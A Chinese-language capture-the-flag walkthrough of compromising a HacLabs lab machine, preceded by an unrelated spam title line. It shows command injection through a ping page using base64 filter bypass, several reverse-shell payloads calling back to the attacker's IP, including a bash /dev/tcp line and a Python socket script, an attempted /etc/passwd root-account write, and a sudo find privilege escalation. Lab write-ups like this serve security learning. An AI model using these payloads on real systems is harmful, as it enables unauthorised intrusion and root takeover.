濰坊市建設(shè)局網(wǎng)站上海關(guān)鍵詞自動排名
**寫在前面:**記錄一次曲折的打靶經(jīng)歷。
目錄
- 1. 主機發(fā)現(xiàn)
- 2. 端口掃描
- 3. 服務(wù)枚舉
- 4. 服務(wù)探查
- 4.1 瀏覽器訪問
- 4.2 目錄枚舉
- 4.3 探查admin
- 4.4 探查index
- 4.5 探查login
- 5 公共EXP搜索
- 6. 再次目錄枚舉
- 6.1 探查superadmin.php
- 6.2 查看頁面源代碼
- 6.3 base64繞過
- 6.4 構(gòu)建反彈shell
- 7. 突破邊界
- 8 提權(quán)
- 8.1 探查/etc/passwd文件
- 8.2 枚舉操作系統(tǒng)信息
- 8.3 枚舉可執(zhí)行文件
- 8.4 枚舉定時任務(wù)
- 8.5 公共EXP搜索
- 8.5.1 EXP 46978
- 8.5.2 EXP 50135
- 8.5.3 EXP 47163
- 8.5.4 在linux mint下編譯
- 8.5.4.1 EXP 46978
- 8.5.4.2 EXP 50135
- 8.5.4.3 EXP 47163
- 8.6 探查其它用戶
- 8.6.1 haclabs用戶
- 8.6.1.1 探查home目錄
- 8.6.1.2 探查haclabs可讀可寫的目錄
- 8.6.2 yash用戶
- 8.6.2.1 探查home目錄
- 8.6.2.2 查找隱藏文件
- 8.6.2.3 突破用戶邊界
- 8.7 再次探查haclabs用戶
- 9 獲取flag
1. 主機發(fā)現(xiàn)
目前只知道目標(biāo)靶機在56.xx網(wǎng)段,通過如下的命令,看看這個網(wǎng)段上在線的主機。
$ nmap -sP 192.168.56.0/24
鎖定靶機IP地址為56.108。
2. 端口掃描
對目標(biāo)靶機進行全端口掃描。
$ sudo nmap -p- 192.168.56.108
這個靶機有點意思,只開了一個80端口。
3. 服務(wù)枚舉
按照慣例進行一下服務(wù)枚舉。
$ sudo nmap -p80 -A -sV -sT 192.168.56.108
從上述信息來看,目標(biāo)靶機80端口上運行的是Apache的2.4.29版本;并且通過-A參數(shù)順帶得知了主機的操作系統(tǒng)應(yīng)該是Ubuntu,內(nèi)核版本可能是4.15~5.6之間。
4. 服務(wù)探查
就一個web服務(wù),直接勘探一下吧。
4.1 瀏覽器訪問
通過瀏覽器訪問目標(biāo)靶機的80端口看看。
頁面有些詭異,看不出啥名堂,隨便輸入一個內(nèi)容(test_things字符串)提交一下看看。
還是看不出啥,但是感覺跟ping也沒啥關(guān)系啊;直接輸入1000個字符A試試看。
還是沒啥異樣,暫時到這里,然后做一下目錄枚舉。
4.2 目錄枚舉
$ dirsearch -u http://192.168.56.108
一如既往地存在admin和login。
再用nikto試一下。
$ nikto -h http://192.168.56.108
沒有太多干貨,只是知道了沒有CGI目錄。
4.3 探查admin
既然admin目錄返回的是200,那就先進去探查一下吧。
沒啥實際內(nèi)容,就是HacLabs的三個靜態(tài)圖片,有點坑。
4.4 探查index
這還是我們第一次用瀏覽器訪問80端口時看到的內(nèi)容,直接跳過吧。
4.5 探查login
感覺/index.php/login和/index.php頁面是一樣的,沒有什么區(qū)別,還是輸入內(nèi)容提交一下試試看吧,省的遺漏點啥。
確實沒啥,就算我輸入10000個字符也是一樣的。
5 公共EXP搜索
到目前為止一無所獲,直接搜索一下對應(yīng)版本的Apache漏洞試試看。
在得到php的具體版本之前,貌似只有一個EXP相對靠譜一些。既然只開放了一個80端口,那就先把這個EXP弄下來看看再說吧。
說明:這種漏洞是不是只能用來提權(quán),不能用于突破邊界?個人不是很理解。
看了一下代碼前面的注釋,這個EXP基本上沒法用。感覺抓瞎了,無所適從。
6. 再次目錄枚舉
有沒有可能還有沒有枚舉干凈的目錄內(nèi)容呢,使用dirb,掛載big.txt字典試試看。
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .php
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .html
$ dirb http://192.168.56.108 /usr/share/wordlists/dirb/big.txt -X .htm
又掃描出來一個之前沒見過的頁面 superadmin.php,用瀏覽器進去看看。
6.1 探查superadmin.php
有意思,貌似是一個測試ping的頁面,直接輸入目標(biāo)靶機的IP地址,并開啟開發(fā)者工具看一下。
可以正常ping,但是POST請求和響應(yīng)都是空空如也。不過,既然這里可以提交IP地址進行ping,是不是也可以執(zhí)行其它的指令呢?分別在IP地址后面添加|、||、&、&&然后再加上其它shell(這里是id)試試看,主要是本人shell還不夠扎實,但是知道這幾個玩意兒可以拼接命令執(zhí)行。
當(dāng)用“|”時,不管IP地址通不通都會執(zhí)行后面的內(nèi)容。
當(dāng)用“||”時,若IP不通,則會執(zhí)行“||”之后的內(nèi)容;如果IP通,則不會執(zhí)行“||”之后的內(nèi)容。
當(dāng)用&或者&&時,不管IP通不通都不會執(zhí)行后面的內(nèi)容。所以最終的規(guī)則可以直接用IP地址加“|”,然后后面跟上要執(zhí)行的指令。
192.168.56.108 | whoami
192.168.56.108 | uname -a
從這里可以看出,靶機版本是ubuntu的18.04.1,內(nèi)核版本是5.0.0-23。這里簡單試了一下,有些命令是沒法執(zhí)行的,比如pwd。
6.2 查看頁面源代碼
試來試去沒啥意思,直接看看頁面源代碼。在superadmin.php頁面上右鍵菜單中的“View Page Source”,查看頁面源代碼。
看不見實質(zhì)的內(nèi)容,可能是做了處理,直接cat一下看看。
192.168.56.108 | cat superadmin.php
頁面變得有些奇怪了,這個時候再右鍵看看頁面源代碼。
可以看出,有些字符是被過濾掉的,這也解釋了前面ls、pwd、nc沒法執(zhí)行的原因。
6.3 base64繞過
有沒有可能通過編碼繞過這些檢查呢?自然而然我們想到了base64,我們先用“l(fā)s”試試看。
接下來,我們用base64編碼后的字符串“bHMK”代替原來的“l(fā)s”。
192.168.56.108 | echo bHMK | base64 -d
感覺貌似執(zhí)行了,但是挺奇怪的,沒有列出結(jié)果,也可能執(zhí)行成功了,先假定執(zhí)行成功吧。
6.4 構(gòu)建反彈shell
用下面的命令構(gòu)建反彈shell的base64編碼。
$ echo 'bash -i 2>&1|nc 192.168.56.107 5555' | base64
在kali主機上開啟監(jiān)聽。
然后在頁面輸入下面的代碼,看是否能夠成功建立反彈shell。
192.168.56.108 | echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK | base64 -d
好奇怪,命令執(zhí)行了,但是沒有成功建立反彈shell。會不會是在“|”的兩邊有空格的原因?把所有“|”兩側(cè)的空格都去掉,改成如下的樣子試試看。
192.168.56.108|echo YmFzaCAtaSAyPiYxfG5jIDE5Mi4xNjguNTYuMTA3IDU1NTUK|base64 -d|bash
這次查看監(jiān)聽頁面,有反應(yīng)了。
原來是空格在搞鬼,雖然我不知道其所以然,但是我知道我的shell確實不扎實。
7. 突破邊界
仔細(xì)查看,雖然在5555端口上的監(jiān)聽有反應(yīng),但是不正常,自動攜帶了一個exit命令。并且后面再輸入其它指令的時候,都沒有反映。
這顯然不是我們期望的結(jié)果,問題應(yīng)該還是出在我構(gòu)建的反彈shell上,重新構(gòu)建一下。
$ echo 'bash -i >& /dev/tcp/192.168.56.107/5555 0>&1' | base64
$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d
重新開啟監(jiān)聽。
重新在superadmin頁面提交如下的內(nèi)容。
|echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNy81NTU1IDA+JjEK | base64 -d | bash
再回來檢查監(jiān)聽頁面。
這次貌似反彈的shell是成功的,試一下看看。
確認(rèn)可用。
8 提權(quán)
既然已經(jīng)突破邊界,接下來就是提權(quán)了。
8.1 探查/etc/passwd文件
從這里可以看出,相對比較正常的兩個用戶是haclabs和yash,說不定我們后面提權(quán)時需要借用。
接下來嘗試向/etc/passwd中寫入一個賬號。先生成密碼。
通過echo嘗試寫入。
$ echo "testuser:$1$siK3z8CH$hDiLkGwhwfEg.gRjK5Rb4.:0:0:root:/root:/bin/bash" >> /etc/passwd
寫入失敗,沒權(quán)限。
8.2 枚舉操作系統(tǒng)信息
挺好玩兒的,兩個命令查詢出來的結(jié)果有些差異,先不理會這一塊,再看一下操作系統(tǒng)位數(shù)。
64位的。
8.3 枚舉可執(zhí)行文件
用下面的命令,搜索一下root用戶所有的,其它用戶可讀可寫的可執(zhí)行文件。
$ find / -type f -user root -perm -o=w 2>/dev/null
并沒有發(fā)現(xiàn)我們感興趣的內(nèi)容,然后搜索一下帶有SUID標(biāo)記的二進制文件。
$ find / -perm -u=s -type f 2>/dev/null
也沒有實際可用的內(nèi)容,直接用sudo -l查看一下試試。
嗯,也沒有權(quán)限。
8.4 枚舉定時任務(wù)
通過下面的命令枚舉一下系統(tǒng)上的定時任務(wù)信息。
$ cat /etc/crontab
沒有可以利用的定時任務(wù)。
8.5 公共EXP搜索
搜索一下對應(yīng)版本的操作系統(tǒng)和內(nèi)核,看看有沒有合適的提權(quán)漏洞可以直接利用。
Ubuntu的18.04有一個提權(quán)漏洞,linux內(nèi)核上也有兩個提權(quán)漏洞跟我們的版本匹配,逐個試一下。
8.5.1 EXP 46978
先打開代碼看一下,整體上比較清晰,尤其是注釋寫的很完善(其它我也看不懂)。
一步一步執(zhí)行,先在kali上下載build-alpine。
$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
然后在kali上切換到root進行編譯。
$ su root
# bash build-alpine
經(jīng)過幾分鐘之后,build結(jié)束,如上所示,忽略掉相關(guān)的warning信息。
退出root用戶(要養(yǎng)成好習(xí)慣,及時退出root用戶),在當(dāng)前目錄建立http服務(wù)。
$ python3 -m http.server 80
從靶機上下載我們build好的文件以及EXP腳本。
直接查一下當(dāng)前用戶可寫的目錄。
$ find / -writable -type d 2>/dev/null
換到/tmp目錄再試一下。
$ wget http://192.168.56.107/46978.sh
$ wget http://192.168.56.107/alpine-v3.17-x86_64-20230206_2150.tar.gz
下載成功了,接下來通過如下命令運行一下漏洞利用shell。
$ sh 46978.sh -f alpine-v3.17-x86_64-20230206_2150.tar.gz
額,報錯了,看看腳本第13行是啥。
感覺應(yīng)該還是shell問題導(dǎo)致的,改成sh執(zhí)行。
還是報錯了,缺少lxc,先放一邊。
8.5.2 EXP 50135
先打開代碼看一下。
寫的還算比較明白,直接上手編譯。
$ gcc -m32 -static -o 50135 50135.c
錯誤較多,暫時放棄。
8.5.3 EXP 47163
先打開代碼看一下。
寫的很清楚,直接上手編譯。
$ gcc -s 47163.c -o 47163
編譯沒報錯,然后上傳到目標(biāo)靶機運行一下。
還是編譯問題,目前來看解決的唯一辦法是用跟目標(biāo)靶機相同的版本或者相近的版本編譯。該EXP的代碼注釋行中寫的比較明確,作者使用的是linux mint的19.2版本,下載linux mint的19.2版本64位安裝到VMware試一下,過程不再贅述。
8.5.4 在linux mint下編譯
8.5.4.1 EXP 46978
在19.2版本的linux mint下,采用同樣的方式build。
$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
然后在mint上切換到root進行編譯。
$ su root
# bash build-alpine
所有正常執(zhí)行,接下來上傳到目標(biāo)靶機,跟之前一樣執(zhí)行一下,不再贅述。
還是失敗了,缺少lxc,跟之前的錯誤一樣,只能放棄。
8.5.4.2 EXP 50135
在19.2版本的linux mint下,采用同樣的方式編譯。
還是報同樣的錯。
8.5.4.3 EXP 47163
在19.2版本的linux mint下,采用同樣的方式編譯。
還不如在kali上效果好,直接編譯失敗。
8.6 探查其它用戶
當(dāng)所有的EXP都沒有利用成功的時候,回顧我們前面的過程,我們還有可能利用的是前面/etc/passwd中的兩個用戶haclabs和yash。接下來我們逐個探查一下這兩個用戶。
8.6.1 haclabs用戶
8.6.1.1 探查home目錄
通過下面的命令,先看看haclabs的home目錄下有些什么內(nèi)容。
$ ls -lah /home/haclabs
看名字還挺有意思的,逐個進去看一下,沒有發(fā)現(xiàn)什么有價值的內(nèi)容。
8.6.1.2 探查haclabs可讀可寫的目錄
通過下面的命令,先看看haclabs可讀可寫的隱藏文件
$ find / -type f -user haclabs -perm -o=w 2>/dev/null
竟然查出來是空的,暫時放一邊。
8.6.2 yash用戶
8.6.2.1 探查home目錄
用同樣的方法,看看yash的home目錄下有些什么內(nèi)容。
$ ls -lah /home/yash
這個目錄下也有些文件,逐個進去看看,終于在最后的flag1.txt文件中發(fā)現(xiàn)了一些端倪。
我去,把其它用戶的密碼放到一個隱藏文件中,這非常符合靶機的尿性啊,就認(rèn)定它了。
8.6.2.2 查找隱藏文件
通過下面的命令查找一下yash用戶可以讀寫的隱藏文件。
$ find / -type f -name ".*" -user yash 2>/dev/null
這個.passwd文件挺有意思啊,進去看看里面有些啥。
切換到haclabs用戶。
貌似終端還是有些問題,上網(wǎng)搜索一下,可以用如下的辦法進行終端優(yōu)化。
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
8.6.2.3 突破用戶邊界
再次嘗試切換到haclabs。
這次成功了,簡單檢查一下。
這應(yīng)該是正常的shell。
8.7 再次探查haclabs用戶
既然突破到了haclabs用戶,這次直接查找?guī)в蠸UID標(biāo)記的二進制文件。
$ find / -perm -u=s -type f 2>/dev/null
貌似可以直接運行sudo命令,查了一下可以使用nc命令,直接用sudo命令構(gòu)建反彈shell試試看。
$ sudo nc 192.168.56.107 8888
額,失敗了,不允許以sudo的方式運行nc。再用python構(gòu)建反彈試試看。
通過echo命令將如下的代碼寫到python腳本中。
import os, subprocess, socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.107',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
最終效果如下。
在kali上開啟8888端口的監(jiān)聽,sudo運行一下寫好的python腳本試試看。
$ sudo python3 revers.py
哈哈,碰壁了,同樣的問題。再回過頭來檢查一下帶有SUID標(biāo)記的查詢結(jié)果,里面有個“/usr/bin/passwd”,嘗試用這個修改一下root用戶的passwd試試看。
看來這條路走不通,貌似在該用戶下面沒有運行sudo -l查看sudo權(quán)限,運行一下試試看。
額,貌似是說/usr/bin/find可以直接不用密碼運行?但是find命令咋提權(quán)啊!問問度娘,find還真的可以用于提權(quán),直接上命令。
$ sudo find aaaa -exec “/bin/sh” \;
大概的意思是,如果能夠找到aaaa,則通過-exec執(zhí)行/bin/sh命令,最后的;是要執(zhí)行的命令的結(jié)束符?所以我們最終的提權(quán)命令如下。
$ sudo find /usr/bin/find -exec /bin/sh \;
說明:因為/usr/bin/find是find命令本身的路徑,所以一定是存在的,接下來直接執(zhí)行/bin/sh,運行結(jié)果如下。
命令提示符變成了#,看來是提權(quán)成功了。